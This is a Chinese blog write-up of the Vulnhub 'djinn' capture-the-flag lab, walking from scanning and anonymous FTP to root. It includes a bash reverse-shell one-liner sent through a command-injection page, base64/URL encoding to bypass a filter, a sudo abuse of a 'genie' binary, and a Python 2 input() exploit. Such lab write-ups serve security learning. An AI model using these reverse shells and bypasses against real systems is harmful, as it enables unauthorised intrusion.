Vulnhub 靶场 Dijnn WP

About djinn: 1

描述

  • 难度级别:中等
  • Flag:user.txt和root.txt
  • 说明:该计算机是VirtualBox以及VMWare兼容的。DHCP将自动分配IP。您将在登录屏幕上看到该IP地址。您必须找到并读取分别在user.txt和root.txt中存在的两个Flag(user和root)
  • 格式:虚拟机(Virtualbox-OVA)
  • 操作系统:Linux

屏幕截图

image.png

下载地址

djinn.ova (Size: 1.9 GB)

信息收集

主机发现

首先我们可以确认的是kali攻击机和dijnn靶机处于同一网段,查看Kali的IP地址,经过查看,Kali的ip地址为192.168.59.134

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.59.134  netmask 255.255.255.0  broadcast 192.168.59.255
        inet6 fe80::20c:29ff:feb8:ee3  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:b8:0e:e3  txqueuelen 1000  (Ethernet)
        RX packets 20  bytes 1642 (1.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 28  bytes 2400 (2.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 8  bytes 396 (396.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8  bytes 396 (396.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

接下来使用nmap扫描同网段下存活主机,发现除了kali本机之外,还有一台ip地址为192.168.59.135的存活主机,经过推断应该就是dijnn靶机。

nmap -sn 192.168.59.0/24

image.png

端口扫描

紧接着,我们使用nmap对dijnn靶机进行端口扫描,发现目标主机开放了21,22,1337,7331端口。

nmap -sV -p 0-65535 192.168.59.135

3.png

端口信息收集

首先我们访问21端口的ftp服务,发现可以直接进行匿名登录。根目录中有三个txt文本文件,依次打开查看。

img

creds.txt
	nitu:81299
	
game.txt
	oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
	final level and get the prize.
	
message.txt
	@nitish81299 I am going on holidays for few days, please take care of all the work. 
	And don't mess up anything.

可以看到在game.txt中提示我们,1337端口上设置了一个游戏,打开浏览器查看发现链接被重置了,使用telnet访问试试看。发现这里告诉我们需要回答问题1000此才可以,那么这里需要写一个脚本,我们先把它放在一边,稍后查看。

image.png

通过端口扫描我们知道靶机上还开放了7331端口。并且运行了http服务,访问一下看看有什么收获。查看过后并没有发现什么有价值的信息。

image.png

目录扫描

接着,我们对运行http服务的7331端口进行目录扫描,看看能否发现隐藏的目录。

10.png

果不其然,通过目录扫描发现了“/wish”和“/genie”两个目录,依次访问一下。发现“/genie”目录报了403,没有访问权限;而“/wish“目录是一个类似命令执行的页面。

11.png

9.png

在输入框中输入“id",页面跳转到了“/genie”,并成功执行了命令。

12.png

漏洞利用

尝试利用

既然如此,我们直接向kali反弹一个shell不就可以了吗?在输入框中输入反弹shell的命令,并在kali端进行监听,发现命令并没有执行,并报出错误信息。推测应该是过滤了某些字符,使用burpsuite抓包看一下。

bash -i >& /dev/tcp/192.168.59.135/1234 0>&1

nc -lvvp 1234

13.png

抓包拦截后,发送到repeater模块进行bypass测试。发现这样一个问题:

cmd=whoami --> 可以执行
cmd=who/am/i --> 无法执行

这充分肯定了👴上面的说法,服务端过滤了某些字符。

16.png

17.png

但是经过多次尝试👴发现echo命令可以执行,既然这样的话就试试base64编码,看看能不能给小爷拦住。

18.png

漏洞利用

将反弹shell命令进行base64编码,然后尝试执行,发现还是没有监听到,考虑到可能是burpsuite的编码原因,将base64编码后的语句再次进行url编码,这次成功监听到了shell。

19.png

20.png

至此,我们成功的获取了目标主机的shell。获取shell之后要做的第一件事是使用Python获取一个tty终端,否则有些命令无法执行。

python -c 'import pty; pty.spawn("/bin/bash")'

尝试读取flag

读取/etc/passwd发现有sam和nitish两个用户,并且在/home/nitish下发现了user.txt,但是www-data没有权限读取;sam的用户目录也是没有权限查看的。接着回到/opt/80目录下,看一下这个目录下面的文件。

image.png

image.png

权限提升

在/opt/80目录下👴发现了一个app.py文件,查看一下文件内容发现了有意思的东西,这个txt是什么?打开看看。发现这里给出了nitish用户的密码。

QlvLnS.png

QlxA74.png

直接su nitish登录这个账户,查看/home/nitich下的user.txt即可

QlxKc6.png

获取root的flag

查看一下sudo的权限命令,发现有一个无需密码即可执行的命令

sudo -l

QlxU3t.png

使用下面的语句查看一下genie的用法,注意:使用genie -h 可能无法查看全部的用法,发现-p和-cmd两个参数可以执行shell命令

man genie

QlxWvV.png

之后我执行了下面的语句,但是并没有拿到sam的shell

sudo -u sam /usr/bin/genie -p "/bin/sh"

但是我使用-cmd参数,执行下面的命令后,成功获得了sam的shell

sudo -u sam /usr/bin/genie -cmd whoami

QlzrM6.png

再次执行

sudo -l

查看sudo可以执行的命令,得到了下面的结果

Qlz2IH.png

但是执行这条语句之后没有得到有价值的信息,反而让我更加懵逼。。。接着使用下面的命令查找了一下可写的文件,发现了一个/home/sam/.pyc文件,就是进行加密后的python文件。

find / -writable -type f 2>/dev/null

Q1S3Yd.png

然后将.pyc文件导出到kali中,进行在线反编译,网址:https://tool.lu/pyc/。反编译之后得到了如下代码:

#!/usr/bin/env python
# encoding: utf-8
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '


def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'


def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)


def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'

if __name__ == '__main__':
    main(options())
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '


def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'


def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)


def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'

if __name__ == '__main__':
    main(options())

仔细审计之后发现这里的input函数,可以确定是python2的版本。搜一下python input() vulnerability,看看input函数的漏洞。果然还是被👴发现了,参考文章:https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/

根据这个漏洞,可以把变量名当成变量的内容来解析,我们可以直接在Guess the number中输入“num“利用此漏洞即可。至此,我们获得了root权限。

Q1pOvq.png

然后在root目录下有一个proof.sh文件,查看一下文件内容那个,就是最终的flag!

Q19UIg.png

posted @ 2019-12-04 17:53  𝓢𝓷1𝓹𝓮𝓻/  阅读(...)  评论(...编辑  收藏